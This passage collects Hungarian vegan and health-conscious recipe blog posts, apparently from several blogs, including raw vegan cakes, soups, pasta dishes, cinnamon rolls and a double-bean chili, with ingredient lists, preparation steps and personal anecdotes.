- Miután elkészültél, öntsd a datolyás alaprétegre a masszát, majd kb. 4 óra hosszára tedd hűtőbe. Én az utolsó egy órára fagyasztóba szoktam tenni, így hamarabb készen van.
- A csokiöntethez a hozzávalókat egy tálkában összekeverem, majd a torta tetejére csorgatom. Díszítésnek még kakaóport, epret, pisztáciát és virágokat használtam.Jó étvágyat!
Sárgarépás-brokkolis tészta
Hozzávalók:
3 nagy sárgarépa
1 kg brokkoli
2 fej vöröshagyma felaprítva
2-3 gerezd fokhagyma
vegamix
só
szerecsendió
bors vagy borspótló
20 dkg húspótló, pl.: barnarizses tönkölyhurka
1 kis dobozos növényi tejszín, pl.: kókusz, rizs, zab
1/2 kg tészta (linguine vagy spagetti)
olívaolaj
növényi sajt lereszelve
[...] Bővebben!
Epres-rebarbarás zabsüti akár reggelire is (laktózmentes, gluténmentes, tojásmentes, vegán)
Mostanában nem sok időm volt a blogra. Ne haragudjatok érte. Pedig a konyhám nem porosodik, és készülnek a finomabbnál finomabb, egészségtudatos ételek. Elég sok pozitív változás lesz a közeljövőben az életemben, ami majd a blogot is illeti. De addig is igyekszem bepótolni a lemaradást, és ezért ma és holnap is hozok egy-egy receptet nektek. :-) epres-rebarbarás zabsüti (laktózmentes, gluténmentes, tojásmentes, vegán) Végre itt a tavasz, ami nálam a várva várt eper szezon és pár éve már rebarbara szezon is. Imádom mindkettőt! ;-) Itt a Zöld Avocado vegetáriánus gasztroblogon beavattalak már titeket egy nagyon egyszerű, tápláló, vitaminban gazdag és ízletes, epres, nyers vegán pohárkrém elkészítésének a rejtelmeibe, illetve készült már nagyon epres-nagyon mákos tortácska és még a kezdetekkor egy nagyon egyszerű epres torta is (ezen most már nevetek). A tavalyi évben együtt elkészítettük ezeket a mennyei rebarbara-narancs lekváros, diós, vegán, gluténmentes muffinokat. Mondanom sem kell, hogy azóta kb. ezerszer elkészültek itthon, és már számos barátom és ismerősöm is belépett a rebarbara kedvelők táborába ezeknek a muffinoknak a hatására. Ha te még nem kóstoltad őket, ne habozz kipróbálni! ;-) eper és rebarbara Az eper és rebarbara idei megjelenésével azonnal rávetettem magam ezekre a tavaszi ízekre. Mostanában ritkán eszünk süteményeket, de az édes reggeliket szívesen fogyasztjuk. Nagy kedvenc a zab, különböző formákban elkészítve. A zab tökéletes reggelire, mert tápanyagban gazdag, lassan felszívódó szénhidrátforrás, mely hosszú órákra biztosítja a jóllakottság érzést. És nem csak az "érzést", de a tápanyagokat is. Az emésztésünkre is jó hatással van, és számtalan formában elkészíthető. Például kásaként így vagy energiaszeletként így. Ezen jótékony hatásainak hála mosolygósan indulhat a napunk. :-) Az eper - rebarbara párosból és az igényből, hogy valami zabos reggeli készüljön belőle, megszületett ez az abbahagyhatatlanul finom epres-rebarbarás zabsüti. Laktózmentes, gluténmentes, tojásmentes, vegán, reform és a megfelelő édesítőszert használva még diétásnak is mondanám. Önmagában a zab gluténmentes gabona, de egyes gluténérzékeny gyomrokban érzékenységi reakciókat válthat ki. A gluténmentes étrenden élők csoportja két táborra oszlik zab szempontból. Egyik részük fogyaszthat szigorúan gluténmentes zabpelyhet, a másik csoportjuk nem. Mindenki ki-ki maga döntse el, hogy mit szól hozzá az ő teste? Mert mint azt már jól tudjuk, soha ne másra hallgassunk, hanem csakis magunkra. Minden szervezet más, így a testünk az egyetlen, aki tudja, mi kell neki! Hallgass a tested jelzéseire, ne mások véleményére! ;-) A receptet ezen az oldalon láttam meg először, és egy kis módosítással ez lett belőle! Fogadjátok sok szeretettel! :-) Nálunk nagy kedvenc lett, és mindig szomorúan kapargatjuk a tányért, miután elfogyott... epres-rebarbarás zabsüti (laktózmentes, gluténmentes, tojásmentes, vegán) HOZZÁVALÓK (4 személyre) tésztához: - 80 g kókuszcukor (egyéb tetszés szerinti édesítőszer) - 150 g kókuszzsír (puha, de nem folyós állagra felolvasztva pl.: a napon) - 100 g (barna) rizsliszt - 1 db bio citrom reszelt héja (kezeletlen héjú) - 200 g darált zabpehely (szigorúan gluténmentes az arra érzékenyeknek) - 50 ml tetszés szerinti növényi tej (pl.: mandulatej, rizstej stb.) - csipet Himalája só - csipet őrölt szegfűszeg, 1 kk őrölt fahéj "krémhez": - kb. 300 g friss eper - kb. 300 g friss rebarbara - 70 g kókuszcukor (egyéb tetszés szerinti édesítőszer) epres-rebarbarás zabsüti (laktózmentes, gluténmentes, tojásmentes, vegán) ELKÉSZÍTÉS Daráljuk le a zabpelyhet a kávédarálón. Adjuk hozzá a rizslisztet, a kókuszcukrot, a fűszereket, a reszelt citrom héját és puha kókuszzsírt. Gyúrjuk össze kézzel az egészet egy nagy gombóccá. Úgy tűnhet, hogy szétesik, de ne adjuk fel, gyúrmázzunk csak, és meglesz az a gombóc. Ezután hagyjuk állni 30 percet. Közben a rebarbarát megtisztítjuk. Levágjuk a száraz végeit és vékonyan lehúzzuk a rózsaszínes héjat. Megmossuk, majd kb. 0,5 cm széles szeletekre vágjuk. Megmossuk és kicsumázzuk az epret, majd felkarikázzuk kb. 0,5 cm széles szeletekre. Az így elkészült rebarbarát és epret ö sszekeverjük a 70 g kókuszcukorral. Kiveszünk ebből a cukros gyümölcsös tálból egy bögrényit, amit leturmixolva, pépként visszaborítunk a feldarabolt csümölcsökhöz. Alaposan összekeverjük. Így egy szaftos, de mégis gyümölcsdarabos "krémet" kapunk. Hozzáadunk 2 ek zabpelyhet, elkeverjük, majd hagyjuk állni egy 15 percet. A megpihent tésztagombócból lecsipünk egy kisebb ökölnyit, és félretesszük. A többi tésztát pedig egy sütőpapírral kibélelt tepsibe nyomkodunk úgy, hogy egy kis pereme is legyen a tésztának. 180°C-ra előmelegített sütőben 10 perc alatt elősütjük a süti alsó részét. Miután elősült, kivesszük a sütőből, ráborítjuk a cukros-epres-rebarbara tölteléket, majd a tetejét "megszórjuk" a félretett és lecsipett tésztával. epres-rebarbarás zabsüti (laktózmentes, gluténmentes, tojásmentes, vegán) Visszatoljuk az egészet a sütőbe és kb. 30 perc múlva már kész is. Mennyei illatok fogják jelezni a süti elkészültét. Fogyaszthatjuk melegen, de akkor nem lesz könnyen vágható, vagy hagyjuk kihűlni (esetleg hűtőben dermedni), és akkor szépen szeletelhető lesz a sütemény. (Én előző nap szoktam elkészíteni, éjjelre beteszem a hűtőbe. Reggel csak fel kell kicsit melegíteni, és már fogyasztható is.) Mennyivel jobb egy ilyen reggeli, mint egy sápadt szendvics, nemde? ;-) Jó étvágyat hozzá! ;-) epres-rebarbarás zabsüti (laktózmentes, gluténmentes, tojásmentes, vegán) TÁPLÁLKOZZ, NE CSAK ÉTKEZZ! :-) Megjegyzés: "100 g rebarbara mindössze 16 kilókalóriát tartalmaz. Hasznos növényi rostokat, tartalmaz, továbbá értékes cseranyagokat, flavonoidokat, polifenolokat. A vitaminok közül pedig bőségesen van benne A-, B1-, B2- és C-vitamin és niacin. Ásványi anyagai közül kiemelkedően sok kálium, kalcium, foszfor, magnézium, vas és szelén benne." Bővebben a rebarbaráról a Házipatika oldalán olvashattok. epres-rebarbarás zabsüti (laktózmentes, gluténmentes, tojásmentes, vegán)
Bolondított brokkoli levese
Mostanában nagyon divatosak a kókusztejjel ízesített zöldségkrémlevesek, sokszor látok ilyet reformétkezdékben, de még a kicsit is egzotikusabb ebéd menükben is. Sajnos előfordul, hogy ezek csak elriasztják az embereket a további kókuszos próbálkozásoktól, mert túl sok kókuszt használnak, pedig semmilyen ételnek nem tesz jót, ha valamelyik íz "kilóg".
A kókusz is olyan, mint a sminkelésnél használt alapozó: pontosan annyi kell belőle a bőrre, ami még nem látszik, de megadja a tónust, a ragyogó sugárzást és frissességet. Mindenki látott már túl sok vagy rossz minőségű az alapozót arcon. (...) Ebbe a levesbe is pontosan annyi kókusz kell, ami még nem érződik ki, hanem belesimul, és így kölcsönöz érdekes illatot és aromát minden falatnak. :)
Bátorság! Isteni lesz a leves! :)
Hozzávalók 3-4 adaghoz:
[...] Bővebben!
A harmadik születésnapi torta
Hihetetlen, de újra eltelt egy év! Április 30-án Ádi három éves lett! Ahogy minden eddigi szülinapjára, most is piknikkel készültem és mivel a szülinap most szombatra esett, egyértelmű volt, hogy a biopiacon fogjuk megtartani a piknikezős-játszóterezős-dumcsizós bulit családtagokkal és néhány baráttal.
Előtte pénteken egész nap a konyhában sürögtem-forogtam, hogy minden készen legyen másnapra… hála a szüleimnek, akik vállalták a srácok felügyeletét és két szoptatás között igyekeztem mindig minél több mindent megcsinálni. Természetesen a tortát titokban csináltam, akkor, amikor teljesen egyedül voltam, aztán gyorsan bedugtam a mélyhűtőbe, hogy az ünnepelt ne láthassa másnap délelőttig.
Nyers tortát készítettem. Meg akartam hagyni a csokoládés ízvilágot, mint az első és a második tortánál, de vittem bele egy kis gyümölcsösséget málnával, mert Ádi imádja a málnát, meg a többi bogyós gyümölcsöt is (eper, áfonya, ribizli). Eredetileg márvány tortának terveztem, gondoltam, hogy a két ízt összeöntöm és márványosan összekeverem, de mivel a krém nem lett olyan híg, mint gondoltam, így inkább rétegeztem a tortát, és lett belőle egy nyers málnás-csokoládés “sajttorta” (cheesecake). Nagyon jól passzol a savanykás málna réteg a kesernyés csokival és az édeskés alappal.
Az ünnepelt Ádi pedig igazi kiskrapekká cseperedik. Hihetetlen beindult a dumálókája. Ilyeneket mond: “Hm, úgy gondolom, hogy most nem megyek veled a boltba!” vagy a másik cuki dolog: “Anya, ebben (mosógép) vagy van mosópor vagy nem.” – ilyen vagy-vagyos mondatokat mond sokszor és egy három évesnek megfelelően sokkal logikusabban használja a magyar nyelvet, nem mindig a “nyelvtani szabályoknak megfelelően”, mint mi felnőttek. Néha ledöbbenünk, hogy mennyi mindent lát, észrevesz, tapasztal a világból. Fantasztikus a humora, a memóriája, nagyon ügyesen megtanult rollerezni és imádja (gyömöszölni) a kisöccsét.
Boldog születésnapot kisfiunk! Nagyon-nagyon szeretünk téged! Anya, Apa és Ákos
“Három éves lettem!”
Nyers vegán málnás-csokoládés sajttorta
Hozzávalók (egy 18 cm-es kapcsos formához):
Alaphoz:
– 1 bögre mandula
– 1 és 1/2 bögre friss datolya, kimagozva (aszalt is jó, csak érdemes használat előtt egy fél órára langyos vízbe beáztatni, hogy könnyebben aprítsa a robotgép)
– 1/4 teáskanál Himalaya só
Alap krémhez:
– 2 bögre kesudió, vízben áztatva 4-5 órán (vagy egy éjszakán) át, majd leszűrve
– 1/3 bögre nyers extra szűz kókuszzsír (jó, a nem nyers extra szűz változat is, az nem kókusz ízű)
– 1/3 bögre juharszirup
– 1 vaníliarúd kikapart magjai
Málnáshoz:
– 1/2 alap krém
– 3/4 bögre fagyasztott málna
– 1 evőkanál frissen facsart citromlé
– 4 evőkanál víz
Csokoládéshoz:
– 1/2 alap krém
– 2 evőkanál nyers kakaópor
– 2 evőkanál karobpor (lehet csak kakaóval vagy csak karobbal készíteni)
– 1 evőkanál kesudióvaj
– 10 evőkanál zabtej (bármilyen növényi tej használható)
– csipet só
(A recepthez használt bögre 250 ml-es.)
Tegyük a mandulát a robotgépbe és aprítsuk szemcsésre. Ekkor adjuk hozzá a datolyát és sót és dolgoztassuk a gépet addig, amíg a torta alapunk összeáll tésztává. A tortaformát béleljük ki folpackkal vagy kenjük ki kókuszolajjal és nyomkodjuk az aljába a datolyás mandulás keveréket, majd tegyük a mélyhűtőbe megkeményedni, amíg elkészítjük a többi réteget. Mossuk el a robotgép tartályát.
A krém elkészítéséhez szűrjük le a vizet a kesudióról. Tegyük a kesut a kókuszzsírral, a juharsziruppal és vaníliával a robotgépbe és kezdjük el pürésíteni. Ha teljesen sima, akkor vegyük ki a krém felét és tegyük félre. A robotgépben maradt fél krémhez adjuk a málnát, a citromlevet és vizet, pürésítsük simára, majd kanalazzuk az alapra és tegyük vissza a hűtőbe. Mossuk el a robotgép tartályát.
Tegyük a robotgépbe a maradék fél krémet, adjuk hozzá a kakaóport, a karobport, a kesudióvajat, zabtejet és sót. Pürésítsük simára, majd kanalazzuk a málnás krémre. Tegyük a mélyhűtőbe a tortát néhány órára, amíg megszilárdul, szeletelhetővé válik, de nem túl kemény.
Szupergyors paradicsomos tészta
2016. április 30. Éltető ételek
Amikor nagyon éhesek a gyerekek, akkor gyakran kerül az asztalra ilyen paradicsomos tészta. Persze a lehetőségek végtelenek, mivel a hűtő mélyén fonnyadozó padlizsán, netán a cukkini is belekerülhet. Vagy egy kis gomba, csicseriborsó... :) Szóval a recept végtelenül egyszerű, az alapja egy jó sűrű paradicsomos szósz, ami akár pizzára is kerülhet. Hozzávalók: - kb. 50 dkg paradicsom pürésítve vagy 1 üveg sűrű paradicsomlé/szósz - 1 evőkanál sűrített paradicsom - 3-4 gerezd fokhagyma - 1 vöröshagyma - 1 evőkanál kókuszolaj - kis marék bazsalikom, néhágy ágacska rozmaring - himalája só, bors, chili - 1 csomag gluténmentes tészta - tetejére sajt, vagy egy kevéske sörélesztőpehely Elkészítése: Egy serpenyőt hevítsünk fel, majd tegyük bele a kókuszolajat. Majd dobjuk rá a felaprított vöröshagymát és reszeljük bele a fokhagymát is. Vigyázz, hogy ne égjen meg!Öntsük hozzá a paradicsomszószt és adjuk hozzá a paradicsompürét. Fűszerezzük, majd kis lángon főzzük kb. 15 percig, amíg a szósz egy kicsit besűrűsödik. Közben a tésztát főzzük ki. A leszűrt tésztát keverjük össze az elkészült paradicsomszósszal. A tetejét díszítsük friss bazsalikomlevéllel. Ha szereted, egy kis kapribogyó is kerülhet bele.
Bounty-golyók
Már régen írtam édesség-receptet, itt az ideje pótolnom. Hihetetlen gyorsan, mondhatni 15-20 perc alatt el tudjuk készíteni. Csak dermedni kell hagyni egy kis időre a hűtőben. Szóval remek vendégváró falat, de ha csak valami édességet ennénk, lehetőleg egészségesebb formában, ne hezitáljunk elkészíteni ezeket a tömény kókuszos édességvágy-csillapítókat :) Mivel természetes alapanyagból van (kókusz és banán), tényleg képes csillapítani az édesség iránti vágyunkat.
A recept:
Hozzávalók:
- 15 dkg kókuszreszelék
- 2 nagyobb, érettebb banán
- 1/2 vanília kikapart belseje
Csokis külsőhöz:
- 1 tábla tortabevonó (az ét tortabevonók általában vegánok)
vagy
- karob vagy kakaópor (vagy mindkettő fele-fele arányban)
kókuszzsír (folyékony állapotban)
kókuszvirág cukor vagy xylit vagy gyümölcscukor vagy datolyaszirup vagy méz, stb.
Elkészítés:
A kókuszreszeléket kimérjük egy keverőtálba, a banánokat villával összenyomkodjuk, majd a kókuszreszelékhez kavarjuk, hozzáadjuk a vaníliát is. Jól átdolgozzuk a kókuszt és a banánt, majd golyókat formálunk a kezeinkkel.
Vagy olvasztott csokiba mártjuk (utána alufóliára érdemes tenni, arról könnyű leszedni), vagy csokimázt készítünk a következők szerint:
A folyékony kókuszzsírt (ha szilárd, rövid idő alatt folyékony lesz, ha tűzhelyen melegítjük) összekeverjük karobbal/kakóporral és valamilyen édesítő-szerrel. Esetleg egy kis kézmeleg növényi tejet keverhetünk még hozzá. Ha a karobos-kókuszzsíros verziót választjuk, akkor tényleg full egészséges, nyers desszertben lesz részünk.
UI: Persze nem muszáj banánnal édesíteni. Aki fogyaszt, készítheti mézzel vagy valamilyen sziruppal. Ha banánnal készítjük, enyhén színét veszti a fehér kókusz. Besötétül némileg.
Nyers vegán tejszínes epertorta
2016. április 23. Vegán lettem
A hűs, nyers vegán tejszínes epertorta minden nyári családi összejövetel tuti nyerő édessége lesz.
Az édességeknek és a tortáknak nem kell mindenféleképpen hízlalónak és egészségtelennek lenniük. Sőt, a torta lehet frissítő és tápanyagban dús, ha a megfelelő alapanyagokból állítjátok össze. Lássuk, hogy a Szépségkonyha milyen recepttel szolgál nektek.
Nyers vegán tejszínes epertorta hozzávalók
A tortaalaphoz:
150g csíráztatott hajdina kiaszalva (ennek hiányában kókuszreszelék)
200g áztatott datolya
kakaópor ízlés szerint
aszalt gyümölcsök ízlés szerint
A tortakrémhez:
300g áztatott kesudió
200g kókuszolaj (erősen ajánlott a szűz) vagy kakaóvaj
400g friss eper, tegyünk félre szép piros eperszemeket a díszítéshez (szezonon kívül használhatsz mirelit színes, bogyós gyümölcsöket is)
5-10g konjac liszt
100g datolyapép
ízlés szerint vanília
Nyers vegán tejszínes epertorta elkészítése
Készítsd el elsőnek a tortaalapot. A kicsíráztatott és leaszalt hajdinát őröld le. Ha nincs otthon csíráztatott hajdinád, akkor használhatsz kókuszreszeléket is helyette. A beáztatott datolyát nyomkodd ki, majd pépesítsd aprítógéppel vagy bármilyen erre alkalmas konyhai eszközzel. Gyúrd formázhatóra egy tálban a két összetevőt, majd ízlés szerint kakaóporral színezd és gazdagítsd aszalt gyümölcsökkel. Az elkészült masszát nyomkodd bele egy sütőpapírral kibélelt tortaformába és tedd félre.
Mikor a fentiekkel megvagy jöhet a tortakrém. A kókuszolajat aszalóban vagy meleg helyen olvaszd meg. Egy turmixgépbe önts fél liter vizet, öntsd mellé a kesudió felét a datolyapéppel, majd turmixold össze a vaníliával és a kókuszolajjal. Ezután add hozzá a maradék kesudiót, turmixold össze csomómentes, folyékony krémmé. Ha az eredményt túl sűrűnek találod, akkor állítsd be az állagát kevés vízzel. A turmixolt krém felét öntsd a tortaalapra, majd tedd a fagyasztóba a tortaformát. A kehelyben maradt krémhez add hozzá az epret, valamint a megmaradt kókuszolajat és turmixold össze. A massza sűrűségét konjac liszttel állítsd megfelelőre. Az így elkészült epres krémet öntsd a fehér krémre és dolgozd el, majd tedd vissza a tortaalapot a fagyasztóba 2-3 órára dermedni.
Tálaláskor a félretett eprekkel díszítsd és vizes, vékony pengéjű késsel szeleteld.
Jó étvágyat kíván hozzá a Szépségkonyha!
Medvehagyma-csalán krémleves
2016. április 18. Éltető ételek
Ez a leves igazán durván zöld, de semmiképp ne hagyjátok ki. A csalán jótékony hatásairól már írtam, érdemes ilyenkor kihasználni, és minél gyakrabban fogyasztani. Hozzávalók: - 1 evőkanál kókuszolaj - 1 csokor csalán (csúcshajtás 2-3 levéllel) - Kb. 10 szép, nagy medvehagyma levél - 3 közepes burgonya - 1 szál petrezselyemgyökér - 2-3 friss lestyán levél (vagy szárított, ha nincs friss) - 2 gerezd fokhagyma - só, bors, őrölt szerecsendió - kb. 1 dl rizstejszín Elkészítése: A kókuszolajon kezdjük el pirítani a felkockázott petrezselyemgyökeret és a burgonyát.Adjuk hozzá a csalánt és a medvehagymát. Pár perc elteltével reszeljük bele a fokhagymát is.Öntsük fel vízzel, fűszerezzük.Botmixerezzük, majd a végén öntsük hozzá a rizstejszínt.
Currys vöröslencse leves
2016. április 18. Éltető ételek
Van egypár vöröslencsés étel a blogomon, de mit csináljak, ha mindig másképp készítem... és olyan finomak lesznek. :) Igazából ezt a levest a barátaimmal ettem egy vegán étteremben, úgyhogy azt az ízt szerettem volna reprodukálni. Hozzávalók: - 1 evőkanál kókuszolaj - 1 közepes vöröshagyma - 1 szép sárgarépa - 1 petrezselyemgyökér - 1 ujjnyi szelet zeller - 1 kis csésze vöröslencse - 1 csésze rózsáira szedett karfiol - 1 gerezd fokhagyma - 4-5 levél medvehagyma (ha nincs szezonja, akkor + 1 gerezd fokhagyma) - 1 kávéskanál curry fűszerkeverék (én a Tesco Finest indiai stílusú curry fűszerkeveréket használom) - himalája só, bors, chili - 1 teáskanál pirospaprika - extra: kókuszkrém Elkészítése: A kókuszolajon dinszteljük meg az a kockára vágott hagymát, majd picit később tegyük bele a fokhagymát is.Nem sokkal ezt követi a kockára vágott zöldségek, a rózsáira szedett karfiol és az átmosott vöröslencse.Fűszerezzük, majd öntsük fel vízzel.Főzzük puhára. A végén ellenőrízzük az ízeket, és tegyünk hozzá egy kevéske kókuszkrémet is. (de ez akár el is hagyható).
Kakaós és nutellás csiga kicsit másképp
2016. április 15. Éltető ételek
Már van az oldalamon egy kakaós csiga recept, ami eredetileg az anyósom receptje volt. Bár kissé meg kellett reformálni, hogy tej- és tojásmentes legyen. Ez a mostani recept egy kicsit vajasabb, és a különleges dagasztásnak köszönhetően igazán laza lett a tésztája annak ellenére, hogy teljes kiőrlésű lisztből készült. Ebből a tésztából nemcsak csigákat készíthetünk, hanem kockára vagy háromszögre szeletelve megtölthetjük lekvárral, vagy diós töltelékkel. A dagasztás ötletét a "Hogyan süssünk kenyeret" című könyvből vettem. Érdemes megvenni, hamarosan írok erről egy könyvajánlót. ... és akkor most jöjjön a recept. Hozzávalók: - 45 dkg teljes kiőrlésű tönkölyliszt - 25 dkg fehér tönkölyliszt - 3-4 dkg élesztő - 15 dkg bio vaj - 10 dkg méz (ha nem szirup állagot teszel bele, pl. kókuszvirágcukor, akkor több folyadékot fog igényelni) - 1 teáskanál himalája só - 3 dl rizstej Nutellás töltelék: Rapunzel "Szamba" mogyorókrémkókuszkrém Kakaós töltelék: - 4 teáskanál kakaópor - 8 teáskanál kókuszvirágcukor - 3 dkg puha, bio vaj - kókuszkrém (amennyi kell, hogy kenhető legyen) Elkészítése: A lisztet tegyük egy tálba, és csináljunk a közepére egy mélyedést.A tejet langyosítsuk meg.Morzsoljuk a liszt közepébe az élesztőt, adjunk hozzá 1 kávéskanál mézet, és öntsünk rá kb. 1 dl langyos tejet.Keverjük össze úgy, hogy a körülötte lévő lisztből is beledolgozunk, de csak annyit, hogy egy lágy massza legyen. Fedjük le, és hagyjuk 10 percig pihenni. Ezalatt az élesztő felfut.Keverjük össze a tésztát, de csak annyira, hogy összeálljon a tészta. Ismét 10 perc pihentetés, lefedve!A tészta széleit húzzuk felfelé, majd nyomjuk bele a közepébe. Fordítsunk picit a tálon, és ismételjük meg a mozdulatot. Tehát forgassuk teljesen körbe a tálat, és 8-10 mozdulattal felhúzzuk a tészta széleit a közepére. Ennyi a dagasztási folyamat.Lefedve, 10 percig pihentessük.Ismételjük meg a dagasztási folyamatot és a pihentetési fázist még kétszer.Még egy dagasztási folyamat, majd lefedve pihentessük 1 órát.Ezidő alatt a duplájára kelt. Ököllel megcsapkodva üssük ki belőle a levegőt.Osszuk a tésztát 3 részre. Nyújtsuk ki egy nagy téglalap alakúra. Kenjük meg a töltelékkel és tekerjük fel.Szeleteljük fel, és tegyük a tepsibe. Ismét pihentessük úgy 35-45 percet.Közben melegítsük elő a sütőt 180 fokra.Ha letelt az idő, tegyük be a sütőbe. Kb. 30 perc elteltével kenjük meg a tetejét langyos, vaníliás tejjel.Tegyük vissza a sütőbe úgy 5 percre. Ennyi! Jó étvágyat!
Vegán babfőzelék
2016. április 15. Éltető ételek
Babfőzeléket anyósomtól tanultam főzni, de akkor még tejföllel készítettük. Nos, vegán változatban is garantáltan finom lesz, nyugodtan próbáljátok ki. Nekem elég laktató így feltét nélkül is, de ha te szeretnél hozzá valami harapnivalót, akkor készíts hozzá egy zöldséges-gabonafasírtot. Hozzávalók (2 adag): - 30 dkg szemes bab (én chilis babot használtam, de a tarka bab, vagy ezek keveréke is jó) - 2-3 babérlevél - 1 jó nagy vöröshagyma - szezonálisan: friss medvehagyma - 2-3 gerezd fokhagyma - 1 evőkanál zabliszt - pirospaprika, himalája só, bors - kb. 1 dl zabkrém - friss citrom leve (kb. 1-2 kávéskanál mennyiség) Elkészítése: A babot mindenképp áztasd be min. 8 órahosszára, én este szoktam vizet önteni rá, így másnap már fel is használható.Tedd fel vízben főzni. A keletkező habot mindig szedd le róla. Mehet bele a babérlevél is. Kb. 1 óra alatt puhára fő. Sót csak félidőben tegyél bele, különben kemény marad a bab.A kókuszolajon pirítsd meg az apróra vágott hagymát és reszeld bele a fokhagymát is. Szórd rá a zablisztet. Vedd le a tűzről, majd szórj bele kb. 1 teáskanálnyi pirospaprikát.Amennyiben túl sok víz van rajta, akkor öntsd le róla. Csak éppen annyi legyen rajta, amennyi éppen ellepi azt.Ezt a hagymás rántást öntsd a babra, majd mehet bele a zabkrém is. Ha van medvehagymád, vágd fel apróra, és keverd a főzelékhez.Főzd össze. Ízesítsd a citrom levével, ha szükséges, még fűszerezd.
Krémes zabkása dióval és mazsolával
2016. április 11. Élj harmóniában
Krémes zabkása dióval és mazsolávalA zabkása az egyik legjobb reggeli étel, jó lendületet ad a szervezetednek. Gyorsan elkészíthető, tápláló, meleg, nem terheli meg az emésztést és kedvezően is hat az emésztésre (az agnira , az emésztés tüzére) . Összetételének függvénye, de a belerakott alapanyagoknak köszönhetően nagyon sok vitamint, ásványi anyagot, nyomelemet tudsz a szervezetedbe juttatni a nap indításához. Igazi jó kis energiabomba. Ráadásul nagyon jó arra is, hogy az édesség iránti vágyadat természetes módon csillapítsd. Jógatáborokban gyakran ez a reggeli, ott általában nem előre ízesítjük, hanem mindenki saját kedvére tehet bele finomságokat kókuszt, aszalt gyümölcsöket, nádcukrot, magvakat, karobot, kakaót és csak a képzeleted szabhat határt annak, mi mindent tudsz elképzelni a saját zabkásádban:). Gluténmentes diétában gluténmentes zabpehellyel készítsd el. hozzávalók 1 személyre 4 -5 púpos evőkanál zabpehely (kb. 1/3 bögre) 1 marék mazsola 1 marék dió fahéj vanília 1 tk. ghí vagy vaj (vagy kókuszzsír vegán változatban) 2,5 dl víz A diót és a mazsolát legjobb, ha éjszakára előtte beáztatod. Tegyél egy edényt a tűzhelyre, majd a zabpelyhet öntsd bele és kevergesd egy picit szárazon, majd öntsd hozzá a vizet és tedd bele a mazsolát és a diót. Forrald fel az egészet, majd tedd bele a fűszereket és a ghít. Főzd kis lángon krémesre. Ízlés szerint nyers nádcukorral ízesítheted még, ha édesebben szereted. Vegyszermentes (bio) alapanyagokat használj!
Dupla babos Chili con veggie (glutén-, tojás-, laktózmentes, vegán), avagy van-e keresnivalója a konzervnek egy tudatosan táplálkozó konyhában?
dupla babos Chili con veggie (gluténmentes, tojásmentes, laktózmentes, vegán) Biztosan lesznek, akik most felhördülnek, amikor azt látják, hogy a konzervek és az egészségtudatos táplálkozás gondolatai egy mondatban szerepelnek. Minden tiszteletem azoké az embereké, akiknek mindig van idejük és kedvük megvárni a száraz hüvelyesek áztatási és főzési idejét, és soha nem nyúlnak egyszerűbb megoldásokhoz. Amikor csak tehetem én is a teljesen természetes alapanyagokat választom. De van, hogy ,,vétkezem. ;-) Ez a recept is egy így született. Fárasztó napok előzték meg, és gyorsan valami táplálót és fűszereset szerettem volna, amihez nem kell sok előkészület, és szinte magától elkészül. Természetesen ez nem azt jelenti, hogy a legolcsóbb, rossz minőségű, tartósítószer és cukorral tömött konzerveket használtam. Gondosan megnéztem a címkéket, és a kifejezetten cukormentes, max.3 összetevős (víz, só, bab), lehetőleg bio konzerveket tettem a kosaramba. És igen, itt megint belém lehet kötni. Bio? Hahaha! Na persze! ;-) Tisztelettel jelentem én naív vagyok ezen a téren (is), és elhiszem, hogy a bio címke jobb minőséget takar, mint annak a hiánya. Persze nem tudhatom, hogy igaz-e, de próbálom úgy meghozni a döntéseimet, hogy ha én a tőlem telhető legtöbbet megtettem az adott ügy érdekében, akkor nyugodt lelkiismerettel fekszem le. A világ (jelen esetben az élelmiszergyártó) lehet hazug és csaló, az már nem az én lelkiismeretem. Tehát megvettem a szerintem legjobb minőségű, legtudatosabban kiválasztott, egészséges konzerv alapanyagokat, és elkészítettem belőle ezt a rendkívül íz-gazdag és tápláló ételt. Egyszerű, villámgyors, és mindenki jól lakik vele. A tökéletes komplettálásnak köszönhetően pedig még egészséges is. (A rizsben kevés a lizin, a babban pedig alig van metionin, melyek közül mindkettő esszenciális. Amikor ezt a két tápanyagot egyszerre fogyasztod, teljes értékűvé komplettálod a fehérje tartalmukat.) dupla babos Chili con veggie (gluténmentes, tojásmentes, laktózmentes, vegán) vörösbab és fekete babÉs hogy miért dupla babos? Mert nem tudtam eldönteni, hogy vörösbabból vagy feketéből készüljön? Így mindkettő került bele! :-D A babban lévő élelmi rost, a paradicsom, paprika és sárgarépa C-vitaminja, a paradicsom E-vitaminja, valamint a paprika B6-vitamin és folsavtartalma tisztítja a vérereket, ellenállóbbá teszi a szervezetet, és csökkenti a daganatos megbetegedések kockázatát. Lelkiismeret furdalás nélkül ajánlom mindenkinek egy-egy zsúfolt vagy kedvetlen napra. Fogyasszátok sok szeretettel! HOZZÁVALÓK (kb. 4 személyre) dupla babos Chili con veggie (vegán) - 1 db bio vörösbab / vesebab konzerv (cukormentes) - 1 db bio feketebab konzerv (cukormentes) - 1 db bio csemegekukorica konzerv (cukormentes) - 1 db bio hámozott paradicsom konzerv (cukormentes) - 5-6 levél friss bazsalikom - Himalája só, fekete bors, 1 tk mustár - 1 tk apróra vágott friss chili paprika - 1 közepes méretű vöröshagyma, 3 gerezd fokhagyma - 3 ek kókuszolaj vagy olívaolaj - 1/2 db zöld színű (kaliforniai) paprika - 1 ek balzsamecet - 1,5 bögre barna rizs - 3 bögre tiszta víz - tálaláshoz friss és ropogós salátalevelek (pl.: római saláta) és csíra - (elhagyható: 1 szál szárzeller) dupla babos Chili con veggie (gluténmentes, tojásmentes, laktózmentes, vegán) ELKÉSZÍTÉS A barna rizst a megszokott módon megfőzzük. Feltesszük dupla mennyiségű vízben fedővel lefedett edényben főni. Kb. 35 perc múlva elkészül. Az apróra vágott vöröshagymát feltesszük az olajban dinsztelődni. Amikor már barnul, hozzáadjuk az apróra vágott fokhagymát és friss chili paprikát. 2-3 percig együtt sütjük őket folytonos kevergetés mellett. Majd hozzáadjuk a kukoricaszem méretűre vágott zöldpaprikát, sárgarépát és zellerszárat (elhagyható). Az egészet kb. 5 percig közepes lángon kevergetjük. Hozzáborítjuk a paradicsomkonzervet (levével együtt), a fűszereket, és a balzsam ecetet. Fedővel kb. 15 percig főzzük. Végül beleborítjuk a kétféle babkonzervet (levével együtt), a kukoricakonzervet (levével együtt) és hozzáadjuk az apróra vágott bazsalikomot. Mehet rá vissza a fedő, és még 10 percig főzzük közepes lángon. Ha nem elég erős, adjunk még hozzá őrölt chilit. Miután letelt a 10 perc ehetjük is. Ha úgy érezzük, 